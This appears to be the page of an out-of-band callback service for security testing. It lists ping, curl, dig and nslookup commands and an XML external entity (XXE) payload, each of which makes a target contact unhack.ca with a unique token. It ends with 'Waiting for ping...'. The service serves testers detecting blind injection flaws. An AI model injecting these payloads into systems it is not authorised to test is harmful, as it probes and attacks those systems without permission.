$ ping -c1 -p 002b7612282a88ee03699d6741247d00 unhack.ca
 
$ curl http://unhack.ca/p/2b7612282a88ee03699d6741247d
 
$ dig 2b7612282a88ee03699d6741247d @unhack.ca
 
$ dig 2b7612282a88ee03699d6741247d.ns.unhack.ca
 
C:\> nslookup 2b7612282a88ee03699d6741247d unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2b7612282a88ee03699d6741247d">]>
    <foo>&xxe;</foo>
 
Waiting for ping...